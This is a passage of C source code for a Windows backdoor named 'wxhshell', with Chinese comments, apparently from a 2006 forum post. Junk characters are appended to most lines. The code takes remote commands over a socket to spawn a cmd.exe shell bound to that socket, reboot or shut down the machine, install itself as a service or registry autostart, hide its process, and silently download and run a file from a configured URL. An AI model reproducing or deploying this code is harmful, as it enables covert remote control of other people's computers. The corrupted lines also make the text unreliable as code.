    switch(cmd[0]) { :zF,A,)  
  P(z++A&  
  // 帮助 ~O &:C{9=  
  case '?': { <<R*2b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e&aWq@D  
    break; QW(Mz Hg  
  } 3x'|]Ns  
  // 安装 $@"g^,n  
  case 'i': { h{HHLR  
    if(Install()) _8_R 1s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y#P%6Fy  
    else >e[i5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P! #[mio  
    break; DG:Z=LuJr  
    } Hn+~5@.  
  // 卸载 8&`LYdzt  
  case 'r': { 4 VW[E1<  
    if(Uninstall()) |Uh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Xq| Kf (  
    else <+vw@M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KEjWRwN  
    break; !\.pq  2  
    } XG{zlOD+  
  // 显示 wxhshell 所在路径 ]R f[y  
  case 'p': { 65$+{s  
    char svExeFile[MAX_PATH]; 4-H+vNG{%  
    strcpy(svExeFile,"\n\r"); JNXq.;:`Q  
      strcat(svExeFile,ExeFile); /zVOK4BqN+  
        send(wsh,svExeFile,strlen(svExeFile),0); {dMsz   
    break; c?[I?ytl  
    } mQ 26K~  
  // 重启 P'[3Fqe  
  case 'b': { 3>`mI8 $t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k],Q9  
    if(Boot(REBOOT)) a>I+]`g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eq9x2  
    else { 3/e.38m|  
    closesocket(wsh); $OkBg0  
    ExitThread(0); lKp"xcAD  
    } >T3-  
    break; 3z9d!I^>k  
    } [<6^qla  
  // 关机 9YQb &  
  case 'd': {  J^5So  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O-GJ-  
    if(Boot(SHUTDOWN)) j8{i#;s!"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); suiS&$-E  
    else { sF?TmBQ*  
    closesocket(wsh); JZ*/,|1}EC  
    ExitThread(0); QP8Ei~  
    } m6&~HfwN  
    break; KNpl:g3{<Q  
    } {9;CNsd  
  // 获取shell }mq6]ZrK  
  case 's': { `nv~NLkl  
    CmdShell(wsh); i8[t=6Rm@  
    closesocket(wsh); Ou!2 [oe@M  
    ExitThread(0); (%e .:W${  
    break; pW@Pt 3u  
  } Cc' 37~6~P  
  // 退出 mD0f<gJ1  
  case 'x': { w/S%YW3*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kmsb hYM)  
    CloseIt(wsh); RJ ||}5  
    break; rc>4vB_ha  
    } EZy)A$|  
  // 离开 !&ayYu##{  
  case 'q': { Ym{tR,g7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _jI,)sr4ic  
    closesocket(wsh); C]eSizS.  
    WSACleanup(); p7VTa~\zA  
    exit(1); }=UHbU.n~!  
    break; DV+xg3\(>1  
        } #!qm ZN  
  } o]` *M|  
  } )}]g] g  
"Hb"F?Yb  
  // 提示信息 !M]uL&:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lh"<XYY  
} ?(y*nD[a  
  } HU }7zK2  
m )zUU  
  return; \oXpi$  
} k\YG^I  
Zq|I,l0+E  
// shell模块句柄 /k6MzFoid  
int CmdShell(SOCKET sock) _AYK435>N  
{ V>%rv'G8  
STARTUPINFO si; GT!M[*[  
ZeroMemory(&si,sizeof(si)); vNY{j7l/W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ygS;$2m%2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0r] t`{H  
PROCESS_INFORMATION ProcessInfo; N/'b$m5= S  
char cmdline[]="cmd"; gQelD6c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .fFCC`&T  
  return 0; u+e{Mim  
} ua Gk6S  
};bEU wGWf  
// 自身启动模式 vq0Tk bzs  
int StartFromService(void) "f2$w  
{ 9y8&9<#  
typedef struct /?'FE 7Y  
{ 4 Y9`IgQ  
  DWORD ExitStatus; :&rt)/I  
  DWORD PebBaseAddress; :WS@=sZN  
  DWORD AffinityMask; V`d,qn)i  
  DWORD BasePriority; _LUhZlw  
  ULONG UniqueProcessId; b-?gw64#  
  ULONG InheritedFromUniqueProcessId; UiP"Ixg6  
}   PROCESS_BASIC_INFORMATION; GPv1fearl  
Q&ptc>{bH6  
PROCNTQSIP NtQueryInformationProcess; Y%aCMP9j~9  
#PW9:_BE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f4b/NG|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )Y0!~# `  
=tn)}Y.<e  
  HANDLE             hProcess; t]g-CW 3  
  PROCESS_BASIC_INFORMATION pbi; {n.PF8A5X  
Z'W =\rl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *3FKt&v 0  
  if(NULL == hInst ) return 0; t%FwXaO#  
$am$ EU?s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `pS9_ NYZ}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P[ck84F/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b<ZIWfs  
OU.6bmWy|  
  if (!NtQueryInformationProcess) return 0; J#(LlCs?@c  
({)+3]x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (Q!}9K3  
  if(!hProcess) return 0; ) 7@ `ut  
rJT a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2tEkj=fA-  
9};8?mucr  
  CloseHandle(hProcess); 1{. |+S Z!  
^|>PA:%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0<@KG8@hI;  
if(hProcess==NULL) return 0; 'ya{9EdlT  
@%uUiP0  
HMODULE hMod; vWv"  
char procName[255]; iB yf{I>+  
unsigned long cbNeeded; k5e;fA/w  
h"Q8b}$^)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !hy-L_wL]  
Vwf$JdK%&l  
  CloseHandle(hProcess); 2\{M:\2o  
n'LrQU  
if(strstr(procName,"services")) return 1; // 以服务启动 gPO}d  
>\#*P'y`d  
  return 0; // 注册表启动 HM1Fz\Sf  
} eJ-xsH*8  
"|q& ea rc  
// 主模块 P|E| $)m  
int StartWxhshell(LPSTR lpCmdLine) ..5CC;B  
{ R+z2}}Z!`  
  SOCKET wsl; G j?t_Zln  
BOOL val=TRUE; 3(N$nsi  
  int port=0; k]|~>9eY]  
  struct sockaddr_in door; pYEMmZ?L  
.2t4tb(SUw  
  if(wscfg.ws_autoins) Install(); o:'MpKm  
Pmx -8w  
port=atoi(lpCmdLine); WE#^a6  
JPHL#sKyz  
if(port<=0) port=wscfg.ws_port; eM6<%?b  
%aCqi(.7  
  WSADATA data; [|$h*YK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d7 y[0<xM  
khxnlry  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9W5lSX#^;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #zs~," dRv  
  door.sin_family = AF_INET; _|2:_N=   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^{`exCwM x  
  door.sin_port = htons(port); b8t7u  
C{rcs'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M|h3Wt~7  
closesocket(wsl); <'oQ \eB  
return 1; 8TKnL\aar  
} tDcT%D {:  
90rol~M&  
  if(listen(wsl,2) == INVALID_SOCKET) { S%>]q s  
closesocket(wsl); bAqA1y3=  
return 1; 7JH6A'&  
} ES7s1O$#  
  Wxhshell(wsl); v\ )W?i*l  
  WSACleanup(); C&%_a~  
{;1\+ f  
return 0; ;6$jf:2m  
%tGO?JMkd  
} !F$6-0%  
H1 ./x6Hr  
// 以NT服务方式启动 -Q*gW2KmV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oMa6(3T?E  
{ 4D4j7  
DWORD   status = 0; _Fl9>C"u  
  DWORD   specificError = 0xfffffff; }Sv:`9=  
|Rk@hzM2S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DvvK^+-~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /U9"wvg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4!?eRY  
  serviceStatus.dwWin32ExitCode     = 0; li.;IWb0+)  
  serviceStatus.dwServiceSpecificExitCode = 0; sO@Tf\d  
  serviceStatus.dwCheckPoint       = 0;  =7eV/3  
  serviceStatus.dwWaitHint       = 0; kuP(r  
26h21Z16q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  \4fQMG  
  if (hServiceStatusHandle==0) return; rey!{3U  
(GfZ*  
status = GetLastError(); ' `Hr}  
  if (status!=NO_ERROR) bk[!8- b/a  
{ InI$:kJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P&Vv/D  
    serviceStatus.dwCheckPoint       = 0; 3Y$GsN4ln  
    serviceStatus.dwWaitHint       = 0; mC#>33{  
    serviceStatus.dwWin32ExitCode     = status; vFmZ<C' )  
    serviceStatus.dwServiceSpecificExitCode = specificError; S f# R0SA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i83OOV$1J  
    return; K[YyBE id  
  } ~P-mC@C  
>A"(KSNL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FS.L\MjV]U  
  serviceStatus.dwCheckPoint       = 0; 9\(| D#  
  serviceStatus.dwWaitHint       = 0; QMm%@zH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pA4xbr2  
} N;%6:I./  
q) KKvO  
// 处理NT服务事件,比如:启动、停止 ]ZS OM\}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OY({.uVdX  
{ ]Hv[IodJ  
switch(fdwControl) +=)+'q]S  
{ _yR^*}xJb  
case SERVICE_CONTROL_STOP: WNc0W>*NE1  
  serviceStatus.dwWin32ExitCode = 0; 'J|_2*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6Kz,{F@  
  serviceStatus.dwCheckPoint   = 0; N'=gep0V@  
  serviceStatus.dwWaitHint     = 0; LDa1X2N  
  {  %;!.n{X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _)-o1`*-  
  } j] [,J49L  
  return; aw>#P   
case SERVICE_CONTROL_PAUSE: % & bY]w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e+K^A q  
  break; L}NSR  
case SERVICE_CONTROL_CONTINUE: cB&:z)i4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7K:PdF>/  
  break; =Fl^`*n  
case SERVICE_CONTROL_INTERROGATE: 9N3eN  
  break; )!T/3|C  
}; Oow2>F%_#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RG`1en  
} *8XEYZa  
Y<8vw d  
// 标准应用程序主函数 ? =+WRjF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a[TMDU;(/4  
{ 3R V R  
?bu>r=oIO]  
// 获取操作系统版本 <9 ;!3xG  
OsIsNt=GetOsVer(); Z%\,w(o[h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I<tm"?q0  
@=kSo -SX  
  // 从命令行安装 `9.r`&T6K  
  if(strpbrk(lpCmdLine,"iI")) Install(); EJ@ ~/)<  
g=o4Q< #^y  
  // 下载执行文件 hR|MEn6KC  
if(wscfg.ws_downexe) { 4E?Oky#}-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @\I#^X5lv  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~u+9J}  
} */DO ex"y  
#R RRu2  
if(!OsIsNt) { 7t_^8I%[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~F7gP{r  
HideProc(); ;jTN | i'  
StartWxhshell(lpCmdLine); }:#P)8/v>%  
} tklH@'q  
else WOf 4o  
  if(StartFromService()) q"_QQ~  
  // 以服务方式启动 +d-NL?c  
  StartServiceCtrlDispatcher(DispatchTable); ;6hOx(>`=  
else $u6 3]rypm  
  // 普通方式启动 .3!1`L3  
  StartWxhshell(lpCmdLine); YT8F#t8  
sUm'  
return 0; gv{ >`AN  
}
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只看该作者 1 发表于: 2006-10-10
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